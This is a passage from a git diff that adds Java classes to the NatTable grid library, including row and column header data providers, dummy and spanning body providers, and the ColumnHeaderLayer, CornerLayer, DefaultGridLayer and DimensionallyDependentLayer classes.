UnsupportedOperationException(); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/data/DefaultRowHeaderDataProvider.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/data/DefaultRowHeaderDataProvider.java new file mode 100644 index 0000000..1cbb801 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/data/DefaultRowHeaderDataProvider.java @@ -0,0 +1,29 @@ +package net.sourceforge.nattable.grid.data; + +import net.sourceforge.nattable.data.IDataProvider; + +public class DefaultRowHeaderDataProvider implements IDataProvider { + + protected final IDataProvider bodyDataProvider; + + public DefaultRowHeaderDataProvider(IDataProvider bodyDataProvider) { + this.bodyDataProvider = bodyDataProvider; + } + + public int getColumnCount() { + return 1; + } + + public int getRowCount() { + return bodyDataProvider.getRowCount(); + } + + public Object getDataValue(int columnIndex, int rowIndex) { + return Integer.valueOf(rowIndex + 1); + } + + public void setDataValue(int columnIndex, int rowIndex, Object newValue) { + throw new UnsupportedOperationException(); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/data/DefaultSummaryRowHeaderDataProvider.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/data/DefaultSummaryRowHeaderDataProvider.java new file mode 100644 index 0000000..dc221bf --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/data/DefaultSummaryRowHeaderDataProvider.java @@ -0,0 +1,39 @@ +package net.sourceforge.nattable.grid.data; + +import net.sourceforge.nattable.data.IDataProvider; +import net.sourceforge.nattable.grid.layer.RowHeaderLayer; +import net.sourceforge.nattable.summaryrow.SummaryRowLayer; + +/** + * {@link IDataProvider} to use for the {@link RowHeaderLayer} if the {@link SummaryRowLayer} is present in the body layer stack.
    + * This adds an extra row to the row header for displaying the summary row. + */ +public class DefaultSummaryRowHeaderDataProvider extends DefaultRowHeaderDataProvider implements IDataProvider { + + public static final String DEFAULT_SUMMARY_ROW_LABEL = "Summary"; + private final String summaryRowLabel; + + public DefaultSummaryRowHeaderDataProvider(IDataProvider bodyDataProvider) { + this(bodyDataProvider, DEFAULT_SUMMARY_ROW_LABEL); + } + + /** + * @param summaryRowLabel label to display in the row header for the Summary Row + */ + public DefaultSummaryRowHeaderDataProvider(IDataProvider bodyDataProvider, String summaryRowLabel) { + super(bodyDataProvider); + this.summaryRowLabel = summaryRowLabel; + } + + public int getRowCount() { + return super.getRowCount() + 1; + } + + @Override + public Object getDataValue(int columnIndex, int rowIndex) { + if (rowIndex == super.getRowCount()){ + return summaryRowLabel; + } + return super.getDataValue(columnIndex, rowIndex); + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/data/DummyBodyDataProvider.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/data/DummyBodyDataProvider.java new file mode 100644 index 0000000..7b9e312 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/data/DummyBodyDataProvider.java @@ -0,0 +1,44 @@ +package net.sourceforge.nattable.grid.data; + +import java.util.HashMap; +import java.util.Map; + +import org.eclipse.swt.graphics.Point; + +import net.sourceforge.nattable.data.IDataProvider; + +public class DummyBodyDataProvider implements IDataProvider { + + private final int columnCount; + + private final int rowCount; + + private Map values = new HashMap(); + + public DummyBodyDataProvider(int columnCount, int rowCount) { + this.columnCount = columnCount; + this.rowCount = rowCount; + } + + public int getColumnCount() { + return columnCount; + } + + public int getRowCount() { + return rowCount; + } + + public Object getDataValue(int columnIndex, int rowIndex) { + Point point = new Point(columnIndex, rowIndex); + if (values.containsKey(point)) { + return values.get(point); + } else { + return "Col: " + (columnIndex + 1) + ", Row: " + (rowIndex + 1); + } + } + + public void setDataValue(int columnIndex, int rowIndex, Object newValue) { + values.put(new Point(columnIndex, rowIndex), newValue); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/data/DummyColumnHeaderDataProvider.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/data/DummyColumnHeaderDataProvider.java new file mode 100644 index 0000000..c66a228 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/data/DummyColumnHeaderDataProvider.java @@ -0,0 +1,29 @@ +package net.sourceforge.nattable.grid.data; + +import net.sourceforge.nattable.data.IDataProvider; + +public class DummyColumnHeaderDataProvider implements IDataProvider { + + private final IDataProvider bodyDataProvider; + + public DummyColumnHeaderDataProvider(IDataProvider bodyDataProvider) { + this.bodyDataProvider = bodyDataProvider; + } + + public int getColumnCount() { + return bodyDataProvider.getColumnCount(); + } + + public int getRowCount() { + return 1; + } + + public Object getDataValue(int columnIndex, int rowIndex) { + return "Column " + (columnIndex + 1); + } + + public void setDataValue(int columnIndex, int rowIndex, Object newValue) { + throw new UnsupportedOperationException(); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/data/DummySpanningBodyDataProvider.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/data/DummySpanningBodyDataProvider.java new file mode 100644 index 0000000..6f8ff87 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/data/DummySpanningBodyDataProvider.java @@ -0,0 +1,39 @@ +package net.sourceforge.nattable.grid.data; + +import net.sourceforge.nattable.data.ISpanningDataProvider; +import net.sourceforge.nattable.layer.cell.DataCell; + +public class DummySpanningBodyDataProvider extends DummyBodyDataProvider implements ISpanningDataProvider { + + private static final int BLOCK_SIZE = 4; + + private static final int CELL_SPAN = 2; + + public DummySpanningBodyDataProvider(int columnCount, int rowCount) { + super(columnCount, rowCount); + } + + public DataCell getCellByPosition(int columnPosition, int rowPosition) { + int columnBlock = columnPosition / BLOCK_SIZE; + int rowBlock = rowPosition / BLOCK_SIZE; + + boolean isSpanned = isEven(columnBlock + rowBlock) && (columnPosition % BLOCK_SIZE) < CELL_SPAN && (rowPosition % BLOCK_SIZE) < CELL_SPAN; + int columnSpan = isSpanned ? CELL_SPAN : 1; + int rowSpan = isSpanned ? CELL_SPAN : 1; + + int cellColumnPosition = columnPosition; + int cellRowPosition = rowPosition; + + if (isSpanned) { + cellColumnPosition -= columnPosition % BLOCK_SIZE; + cellRowPosition -= rowPosition % BLOCK_SIZE; + } + + return new DataCell(cellColumnPosition, cellRowPosition, columnSpan, rowSpan); + } + + private boolean isEven(int i) { + return i % 2 == 0; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/layer/ColumnHeaderLayer.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/layer/ColumnHeaderLayer.java new file mode 100644 index 0000000..bc9ec8f --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/layer/ColumnHeaderLayer.java @@ -0,0 +1,125 @@ +package net.sourceforge.nattable.grid.layer; + +import net.sourceforge.nattable.columnRename.DisplayColumnRenameDialogCommandHandler; +import net.sourceforge.nattable.columnRename.RenameColumnHeaderCommandHandler; +import net.sourceforge.nattable.columnRename.RenameColumnHelper; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.IUniqueIndexLayer; +import net.sourceforge.nattable.layer.LabelStack; +import net.sourceforge.nattable.layer.LayerUtil; +import net.sourceforge.nattable.layer.config.DefaultColumnHeaderLayerConfiguration; +import net.sourceforge.nattable.painter.layer.CellLayerPainter; +import net.sourceforge.nattable.painter.layer.ILayerPainter; +import net.sourceforge.nattable.selection.SelectionLayer; +import net.sourceforge.nattable.style.DisplayMode; +import net.sourceforge.nattable.style.SelectionStyleLabels; + +/** + * Responsible for rendering, event handling etc on the column headers. + */ +public class ColumnHeaderLayer extends DimensionallyDependentLayer { + + private final SelectionLayer selectionLayer; + private final ILayerPainter layerPainter = new CellLayerPainter(); + private final RenameColumnHelper renameColumnHelper; + + /** + * @param baseLayer data provider for the column header layer + * @param horizontalLayerDependency typically the body layer + * @param selectionLayer required to respond to selection events + */ + public ColumnHeaderLayer(IUniqueIndexLayer baseLayer, ILayer horizontalLayerDependency, SelectionLayer selectionLayer) { + this(baseLayer, horizontalLayerDependency, selectionLayer, true); + } + + public ColumnHeaderLayer(IUniqueIndexLayer baseLayer, ILayer horizontalLayerDependency, SelectionLayer selectionLayer, boolean useDefaultConfiguration) { + super(baseLayer, horizontalLayerDependency, baseLayer); + this.selectionLayer = selectionLayer; + this.renameColumnHelper = new RenameColumnHelper(this); + registerPersistable(renameColumnHelper); + + selectionLayer.addLayerListener(new ColumnHeaderSelectionListener(this)); + registerCommandHandler(new RenameColumnHeaderCommandHandler(this)); + registerCommandHandler(new DisplayColumnRenameDialogCommandHandler(this)); + + if (useDefaultConfiguration) { + addConfiguration(new DefaultColumnHeaderLayerConfiguration()); + } + } + + @Override + public String getDisplayModeByPosition(int columnPosition, int rowPosition) { + int selectionLayerColumnPosition = LayerUtil.convertColumnPosition(this, columnPosition, selectionLayer); + if (selectionLayer.isColumnPositionSelected(selectionLayerColumnPosition)) { + return DisplayMode.SELECT; + } else { + return super.getDisplayModeByPosition(columnPosition, rowPosition); + } + } + + @Override + public LabelStack getConfigLabelsByPosition(int columnPosition, int rowPosition) { + LabelStack labelStack = super.getConfigLabelsByPosition(columnPosition, rowPosition); + + final int selectionLayerColumnPosition = LayerUtil.convertColumnPosition(this, columnPosition, selectionLayer); + if (selectionLayer.isColumnFullySelected(selectionLayerColumnPosition)) { + labelStack.addLabel(SelectionStyleLabels.COLUMN_FULLY_SELECTED_STYLE); + } + + return labelStack; + } + + public SelectionLayer getSelectionLayer() { + return selectionLayer; + } + + @Override + public ILayerPainter getLayerPainter() { + return layerPainter; + } + + @Override + public Object getDataValueByPosition(int columnPosition, int rowPosition) { + int columnIndex = getColumnIndexByPosition(columnPosition); + if (isColumnRenamed(columnIndex)) { + return getRenamedColumnLabelByIndex(columnIndex); + } + return super.getDataValueByPosition(columnPosition, rowPosition); + } + + // Column header renaming + + /** + * @return column header as defined by the data source + */ + public String getOriginalColumnLabel(int columnPosition) { + return super.getDataValueByPosition(columnPosition, 0).toString(); + } + + /** + * @return renamed column header if the column has been renamed, NULL otherwise + */ + public String getRenamedColumnLabel(int columnPosition) { + int index = getColumnIndexByPosition(columnPosition); + return getRenamedColumnLabelByIndex(index); + } + + /** + * @return renamed column header if the column has been renamed, NULL otherwise + */ + public String getRenamedColumnLabelByIndex(int columnIndex) { + return renameColumnHelper.getRenamedColumnLabel(columnIndex); + } + + /** + * @return TRUE if the column at the given index has been given a custom name by the user. + */ + public boolean isColumnRenamed(int columnIndex) { + return renameColumnHelper.isColumnRenamed(columnIndex); + } + + public boolean renameColumnPosition(int columnPosition, String customColumnName) { + return renameColumnHelper.renameColumnPosition(columnPosition, customColumnName); + } + +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/layer/ColumnHeaderSelectionListener.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/layer/ColumnHeaderSelectionListener.java new file mode 100644 index 0000000..1dad27d --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/layer/ColumnHeaderSelectionListener.java @@ -0,0 +1,26 @@ +package net.sourceforge.nattable.grid.layer; + +import net.sourceforge.nattable.grid.layer.event.ColumnHeaderSelectionEvent; +import net.sourceforge.nattable.layer.ILayerListener; +import net.sourceforge.nattable.layer.event.ILayerEvent; +import net.sourceforge.nattable.selection.event.ColumnSelectionEvent; + +/** + * Marks the ColumnHeader as selected in response to a {@link ColumnSelectionEvent} + */ +public class ColumnHeaderSelectionListener implements ILayerListener { + + private ColumnHeaderLayer columnHeaderLayer; + + public ColumnHeaderSelectionListener(ColumnHeaderLayer columnHeaderLayer) { + this.columnHeaderLayer = columnHeaderLayer; + } + + public void handleLayerEvent(ILayerEvent event) { + if (event instanceof ColumnSelectionEvent) { + ColumnSelectionEvent selectionEvent = (ColumnSelectionEvent) event; + ColumnHeaderSelectionEvent colHeaderSelectionEvent = new ColumnHeaderSelectionEvent(columnHeaderLayer, selectionEvent.getColumnPositionRanges()); + columnHeaderLayer.fireLayerEvent(colHeaderSelectionEvent); + } + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/layer/CornerLayer.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/layer/CornerLayer.java new file mode 100644 index 0000000..016f449 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/layer/CornerLayer.java @@ -0,0 +1,27 @@ +package net.sourceforge.nattable.grid.layer; + +import net.sourceforge.nattable.layer.IUniqueIndexLayer; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.painter.layer.CellLayerPainter; +import net.sourceforge.nattable.painter.layer.ILayerPainter; + +public class CornerLayer extends DimensionallyDependentLayer { + + private ILayerPainter layerPainter = new CellLayerPainter(); + + public CornerLayer(IUniqueIndexLayer baseLayer, ILayer horizontalLayerDependency, ILayer verticalLayerDependency) { + super(baseLayer, horizontalLayerDependency, verticalLayerDependency); + } + + @Override + public ILayerPainter getLayerPainter() { + return layerPainter; + } + + @Override + public LayerCell getCellByPosition(int columnPosition, int rowPosition) { + return new LayerCell(this, 0, 0, columnPosition, rowPosition, getHorizontalLayerDependency().getColumnCount(), getVerticalLayerDependency().getRowCount()); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/layer/DefaultColumnHeaderDataLayer.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/layer/DefaultColumnHeaderDataLayer.java new file mode 100644 index 0000000..e56a73f --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/layer/DefaultColumnHeaderDataLayer.java @@ -0,0 +1,12 @@ +package net.sourceforge.nattable.grid.layer; + +import net.sourceforge.nattable.data.IDataProvider; +import net.sourceforge.nattable.layer.DataLayer; + +public class DefaultColumnHeaderDataLayer extends DataLayer { + + public DefaultColumnHeaderDataLayer(IDataProvider columnHeaderDataProvider) { + super(columnHeaderDataProvider, 100, 20); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/layer/DefaultGridLayer.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/layer/DefaultGridLayer.java new file mode 100644 index 0000000..7c8d25b --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/layer/DefaultGridLayer.java @@ -0,0 +1,150 @@ +package net.sourceforge.nattable.grid.layer; + +import java.util.List; +import java.util.Map; + +import net.sourceforge.nattable.data.IDataProvider; +import net.sourceforge.nattable.grid.data.DefaultBodyDataProvider; +import net.sourceforge.nattable.grid.data.DefaultColumnHeaderDataProvider; +import net.sourceforge.nattable.grid.data.DefaultCornerDataProvider; +import net.sourceforge.nattable.grid.data.DefaultRowHeaderDataProvider; +import net.sourceforge.nattable.layer.DataLayer; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.IUniqueIndexLayer; +import net.sourceforge.nattable.layer.stack.DefaultBodyLayerStack; +import net.sourceforge.nattable.selection.SelectionLayer; + +public class DefaultGridLayer extends GridLayer { + + protected IUniqueIndexLayer bodyDataLayer; + protected IUniqueIndexLayer columnHeaderDataLayer; + protected IUniqueIndexLayer rowHeaderDataLayer; + protected IUniqueIndexLayer cornerDataLayer; + + public DefaultGridLayer(List rowData, String[] propertyNames, Map propertyToLabelMap) { + this(rowData, propertyNames, propertyToLabelMap, true); + } + + public DefaultGridLayer(List rowData, String[] propertyNames, Map propertyToLabelMap, boolean useDefaultConfiguration) { + super(useDefaultConfiguration); + init(rowData, propertyNames, propertyToLabelMap); + } + + public DefaultGridLayer(IDataProvider bodyDataProvider, IDataProvider columnHeaderDataProvider) { + this(bodyDataProvider, columnHeaderDataProvider, true); + } + + public DefaultGridLayer(IDataProvider bodyDataProvider, IDataProvider columnHeaderDataProvider, boolean useDefaultConfiguration) { + super(useDefaultConfiguration); + init(bodyDataProvider, columnHeaderDataProvider); + } + + public DefaultGridLayer(IDataProvider bodyDataProvider, IDataProvider columnHeaderDataProvider, IDataProvider rowHeaderDataProvider) { + this(bodyDataProvider, columnHeaderDataProvider, rowHeaderDataProvider, true); + } + + public DefaultGridLayer(IDataProvider bodyDataProvider, IDataProvider columnHeaderDataProvider, IDataProvider rowHeaderDataProvider, boolean useDefaultConfiguration) { + super(useDefaultConfiguration); + init(bodyDataProvider, columnHeaderDataProvider, rowHeaderDataProvider); + } + + public DefaultGridLayer(IDataProvider bodyDataProvider, IDataProvider columnHeaderDataProvider, IDataProvider rowHeaderDataProvider, IDataProvider cornerDataProvider) { + this(bodyDataProvider, columnHeaderDataProvider, rowHeaderDataProvider, cornerDataProvider, true); + } + + public DefaultGridLayer(IDataProvider bodyDataProvider, IDataProvider columnHeaderDataProvider, IDataProvider rowHeaderDataProvider, IDataProvider cornerDataProvider, boolean useDefaultConfiguration) { + super(useDefaultConfiguration); + init(bodyDataProvider, columnHeaderDataProvider, rowHeaderDataProvider, cornerDataProvider); + } + + public DefaultGridLayer(IUniqueIndexLayer bodyDataLayer, IUniqueIndexLayer columnHeaderDataLayer, IUniqueIndexLayer rowHeaderDataLayer, IUniqueIndexLayer cornerDataLayer) { + this(bodyDataLayer, columnHeaderDataLayer, rowHeaderDataLayer, cornerDataLayer, true); + } + + public DefaultGridLayer(IUniqueIndexLayer bodyDataLayer, IUniqueIndexLayer columnHeaderDataLayer, IUniqueIndexLayer rowHeaderDataLayer, IUniqueIndexLayer cornerDataLayer, boolean useDefaultConfiguration) { + super(useDefaultConfiguration); + init(bodyDataLayer, columnHeaderDataLayer, rowHeaderDataLayer, cornerDataLayer); + } + + protected DefaultGridLayer(boolean useDefaultConfiguration) { + super(useDefaultConfiguration); + } + + protected void init(List rowData, String[] propertyNames, Map propertyToLabelMap) { + init(new DefaultBodyDataProvider(rowData, propertyNames), new DefaultColumnHeaderDataProvider(propertyNames, propertyToLabelMap)); + } + + protected void init(IDataProvider bodyDataProvider, IDataProvider columnHeaderDataProvider) { + init(bodyDataProvider, columnHeaderDataProvider, new DefaultRowHeaderDataProvider(bodyDataProvider)); + } + + protected void init(IDataProvider bodyDataProvider, IDataProvider columnHeaderDataProvider, IDataProvider rowHeaderDataProvider) { + init(bodyDataProvider, columnHeaderDataProvider, rowHeaderDataProvider, new DefaultCornerDataProvider(columnHeaderDataProvider, rowHeaderDataProvider)); + } + + protected void init(IDataProvider bodyDataProvider, IDataProvider columnHeaderDataProvider, IDataProvider rowHeaderDataProvider, IDataProvider cornerDataProvider) { + init(new DataLayer(bodyDataProvider), new DefaultColumnHeaderDataLayer(columnHeaderDataProvider), new DefaultRowHeaderDataLayer(rowHeaderDataProvider), new DataLayer(cornerDataProvider)); + } + + protected void init(IUniqueIndexLayer bodyDataLayer, IUniqueIndexLayer columnHeaderDataLayer, IUniqueIndexLayer rowHeaderDataLayer, IUniqueIndexLayer cornerDataLayer) { + // Body + this.bodyDataLayer = bodyDataLayer; + DefaultBodyLayerStack bodyLayer = new DefaultBodyLayerStack(bodyDataLayer); + + SelectionLayer selectionLayer = bodyLayer.getSelectionLayer(); + + // Column header + this.columnHeaderDataLayer = columnHeaderDataLayer; + ILayer columnHeaderLayer = new ColumnHeaderLayer(columnHeaderDataLayer, bodyLayer, selectionLayer); + + // Row header + this.rowHeaderDataLayer = rowHeaderDataLayer; + ILayer rowHeaderLayer = new RowHeaderLayer(rowHeaderDataLayer, bodyLayer, selectionLayer); + + // Corner + this.cornerDataLayer = cornerDataLayer; + ILayer cornerLayer = new CornerLayer(cornerDataLayer, rowHeaderLayer, columnHeaderLayer); + + setBodyLayer(bodyLayer); + setColumnHeaderLayer(columnHeaderLayer); + setRowHeaderLayer(rowHeaderLayer); + setCornerLayer(cornerLayer); + } + + public IUniqueIndexLayer getBodyDataLayer() { + return bodyDataLayer; + } + + @Override + public DefaultBodyLayerStack getBodyLayer() { + return (DefaultBodyLayerStack) super.getBodyLayer(); + } + + public IUniqueIndexLayer getColumnHeaderDataLayer() { + return columnHeaderDataLayer; + } + + @Override + public ColumnHeaderLayer getColumnHeaderLayer() { + return (ColumnHeaderLayer) super.getColumnHeaderLayer(); + } + + public IUniqueIndexLayer getRowHeaderDataLayer() { + return rowHeaderDataLayer; + } + + @Override + public RowHeaderLayer getRowHeaderLayer() { + return (RowHeaderLayer) super.getRowHeaderLayer(); + } + + public IUniqueIndexLayer getCornerDataLayer() { + return cornerDataLayer; + } + + @Override + public CornerLayer getCornerLayer() { + return (CornerLayer) super.getCornerLayer(); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/layer/DefaultRowHeaderDataLayer.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/layer/DefaultRowHeaderDataLayer.java new file mode 100644 index 0000000..65a7a87 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/layer/DefaultRowHeaderDataLayer.java @@ -0,0 +1,12 @@ +package net.sourceforge.nattable.grid.layer; + +import net.sourceforge.nattable.data.IDataProvider; +import net.sourceforge.nattable.layer.DataLayer; + +public class DefaultRowHeaderDataLayer extends DataLayer { + + public DefaultRowHeaderDataLayer(IDataProvider rowHeaderDataProvider) { + super(rowHeaderDataProvider, 40, 40); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/layer/DimensionallyDependentLayer.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/layer/DimensionallyDependentLayer.java new file mode 100644 index 0000000..5231f89 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/layer/DimensionallyDependentLayer.java @@ -0,0 +1,325 @@ +package net.sourceforge.nattable.grid.layer; + +import java.util.Collection; +import java.util.HashSet; +import java.util.Properties; + +import net.sourceforge.nattable.command.ILayerCommand; +import net.sourceforge.nattable.config.ConfigRegistry; +import net.sourceforge.nattable.coordinate.Range; +import net.sourceforge.nattable.layer.AbstractLayer; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.ILayerListener; +import net.sourceforge.nattable.layer.IUniqueIndexLayer; +import net.sourceforge.nattable.layer.LabelStack; +import net.sourceforge.nattable.layer.LayerUtil; +import net.sourceforge.nattable.layer.event.ILayerEvent; +import net.sourceforge.nattable.layer.event.IStructuralChangeEvent; +import net.sourceforge.nattable.painter.layer.ILayerPainter; +import net.sourceforge.nattable.ui.binding.UiBindingRegistry; +import net.sourceforge.nattable.util.IClientAreaProvider; + +/** + *

    + * A DimensionallyDependentLayer is a layer whose horizontal and vertical dimensions are dependent on the horizontal and + * vertical dimensions of other layers. A DimensionallyDependentLayer takes three constructor parameters: the horizontal + * layer that the DimensionallyDependentLayer's horizontal dimension is linked to, the vertical layer that the + * DimensionallyDependentLayer is linked to, and a base layer to which all non-dimensionally related ILayer method calls + * will be delegated to (e.g. command, event methods) + *

    + *

    + * Prime examples of dimensionally dependent layers are the column header and row header layers. For example, the column + * header layer's horizontal dimension is linked to the body layer's horizontal dimension. This means that whatever + * columns are shown in the body area will also be shown in the column header area, and vice versa. Note that the column + * header layer maintains its own vertical dimension, however, so it's vertical layer dependency would be a separate + * data layer. The same is true for the row header layer, only with the vertical instead of the horizontal dimension. + * The constructors for the column header and row header layers would therefore look something like this: + *

    + *
    + * ILayer columnHeaderLayer = new DimensionallyDependentLayer(columnHeaderRowDataLayer, bodyLayer, columnHeaderRowDataLayer);
    + * ILayer rowHeaderLayer = new DimensionallyDependentLayer(rowHeaderColumnDataLayer, bodyLayer, rowHeaderColumnDataLayer);
    + * 
    + */ +public class DimensionallyDependentLayer extends AbstractLayer { + + private final IUniqueIndexLayer baseLayer; + private ILayer horizontalLayerDependency; + private ILayer verticalLayerDependency; + private IClientAreaProvider clientAreaProvider; + + public DimensionallyDependentLayer(IUniqueIndexLayer baseLayer, ILayer horizontalLayerDependency, ILayer verticalLayerDependency) { + this.baseLayer = baseLayer; + this.horizontalLayerDependency = horizontalLayerDependency; + this.verticalLayerDependency = verticalLayerDependency; + + baseLayer.addLayerListener(this); + horizontalLayerDependency.addLayerListener(new ILayerListener() { + + public void handleLayerEvent(ILayerEvent event) { + if (event instanceof IStructuralChangeEvent) { + // TODO refresh horizontal structure + } + } + + }); + verticalLayerDependency.addLayerListener(new ILayerListener() { + + public void handleLayerEvent(ILayerEvent event) { + if (event instanceof IStructuralChangeEvent) { + // TODO refresh vertical structure + } + } + + }); + } + + // Persistence + + @Override + public void saveState(String prefix, Properties properties) { + super.saveState(prefix, properties); + baseLayer.saveState(prefix, properties); + } + + @Override + public void loadState(String prefix, Properties properties) { + super.loadState(prefix, properties); + baseLayer.loadState(prefix, properties); + } + + // Configuration + + @Override + public void configure(ConfigRegistry configRegistry, UiBindingRegistry uiBindingRegistry) { + baseLayer.configure(configRegistry, uiBindingRegistry); + super.configure(configRegistry, uiBindingRegistry); + } + + // Dependent layer accessors + + public void setHorizontalLayerDependency(ILayer horizontalLayerDependency) { + this.horizontalLayerDependency = horizontalLayerDependency; + } + + public void setVerticalLayerDependency(ILayer verticalLayerDependency) { + this.verticalLayerDependency = verticalLayerDependency; + } + + public ILayer getHorizontalLayerDependency() { + return horizontalLayerDependency; + } + + public ILayer getVerticalLayerDependency() { + return verticalLayerDependency; + } + + public IUniqueIndexLayer getBaseLayer() { + return baseLayer; + } + + // Commands + + @Override + public boolean doCommand(ILayerCommand command) { + // Invoke command handler(s) on the Dimensionally dependent layer + ILayerCommand clonedCommand = command.cloneCommand(); + if (super.doCommand(command)) { + return true; + } + + clonedCommand = command.cloneCommand(); + if (horizontalLayerDependency.doCommand(clonedCommand)) { + return true; + } + + clonedCommand = command.cloneCommand(); + if (verticalLayerDependency.doCommand(clonedCommand)) { + return true; + } + + return baseLayer.doCommand(command); + } + + // Events + + @Override + public ILayerPainter getLayerPainter() { + return baseLayer.getLayerPainter(); + } + + // Horizontal features + + // Columns + + public int getColumnCount() { + return horizontalLayerDependency.getColumnCount(); + } + + public int getPreferredColumnCount() { + return horizontalLayerDependency.getPreferredColumnCount(); + } + + public int getColumnIndexByPosition(int columnPosition) { + return horizontalLayerDependency.getColumnIndexByPosition(columnPosition); + } + + public int localToUnderlyingColumnPosition(int localColumnPosition) { + return horizontalLayerDependency.localToUnderlyingColumnPosition(localColumnPosition); + } + + public int underlyingToLocalColumnPosition(ILayer sourceUnderlyingLayer, int underlyingColumnPosition) { + return horizontalLayerDependency.underlyingToLocalColumnPosition(sourceUnderlyingLayer, underlyingColumnPosition); + } + + public Collection underlyingToLocalColumnPositions(ILayer sourceUnderlyingLayer, Collection underlyingColumnPositionRanges) { + return horizontalLayerDependency.underlyingToLocalColumnPositions(sourceUnderlyingLayer, underlyingColumnPositionRanges); + } + + // Width + + public int getWidth() { + return horizontalLayerDependency.getWidth(); + } + + public int getPreferredWidth() { + return horizontalLayerDependency.getPreferredWidth(); + } + + public int getColumnWidthByPosition(int columnPosition) { + return horizontalLayerDependency.getColumnWidthByPosition(columnPosition); + } + + // Column resize + + public boolean isColumnPositionResizable(int columnPosition) { + return horizontalLayerDependency.isColumnPositionResizable(columnPosition); + } + + // X + + public int getColumnPositionByX(int x) { + return horizontalLayerDependency.getColumnPositionByX(x); + } + + public int getStartXOfColumnPosition(int columnPosition) { + return horizontalLayerDependency.getStartXOfColumnPosition(columnPosition); + } + + // Underlying + + public Collection getUnderlyingLayersByColumnPosition(int columnPosition) { + Collection underlyingLayers = new HashSet(); + underlyingLayers.add(baseLayer); + return underlyingLayers; + } + + // Vertical features + + // Rows + + public int getRowCount() { + return verticalLayerDependency.getRowCount(); + } + + public int getPreferredRowCount() { + return verticalLayerDependency.getPreferredRowCount(); + } + + public int getRowIndexByPosition(int rowPosition) { + return verticalLayerDependency.getRowIndexByPosition(rowPosition); + } + + public int localToUnderlyingRowPosition(int localRowPosition) { + return verticalLayerDependency.localToUnderlyingRowPosition(localRowPosition); + } + + public int underlyingToLocalRowPosition(ILayer sourceUnderlyingLayer, int underlyingRowPosition) { + return verticalLayerDependency.underlyingToLocalRowPosition(sourceUnderlyingLayer, underlyingRowPosition); + } + + public Collection underlyingToLocalRowPositions(ILayer sourceUnderlyingLayer, Collection underlyingRowPositionRanges) { + return verticalLayerDependency.underlyingToLocalRowPositions(sourceUnderlyingLayer, underlyingRowPositionRanges); + } + + // Height + + public int getHeight() { + return verticalLayerDependency.getHeight(); + } + + public int getPreferredHeight() { + return verticalLayerDependency.getPreferredHeight(); + } + + public int getRowHeightByPosition(int rowPosition) { + return verticalLayerDependency.getRowHeightByPosition(rowPosition); + } + + // Row resize + + public boolean isRowPositionResizable(int rowPosition) { + return verticalLayerDependency.isRowPositionResizable(rowPosition); + } + + // Y + + public int getRowPositionByY(int y) { + return verticalLayerDependency.getRowPositionByY(y); + } + + public int getStartYOfRowPosition(int rowPosition) { + return verticalLayerDependency.getStartYOfRowPosition(rowPosition); + } + + // Underlying + + public Collection getUnderlyingLayersByRowPosition(int rowPosition) { + Collection underlyingLayers = new HashSet(); + underlyingLayers.add(baseLayer); + return underlyingLayers; + } + + // Cell features + + @Override + public String getDisplayModeByPosition(int columnPosition, int rowPosition) { + int baseColumnPosition = LayerUtil.convertColumnPosition(this, columnPosition, baseLayer); + int baseRowPosition = LayerUtil.convertRowPosition(this, rowPosition, baseLayer); + return baseLayer.getDisplayModeByPosition(baseColumnPosition, baseRowPosition); + } + + @Override + public LabelStack getConfigLabelsByPosition(int columnPosition, int rowPosition) { + int baseColumnPosition = LayerUtil.convertColumnPosition(this, columnPosition, baseLayer); + int 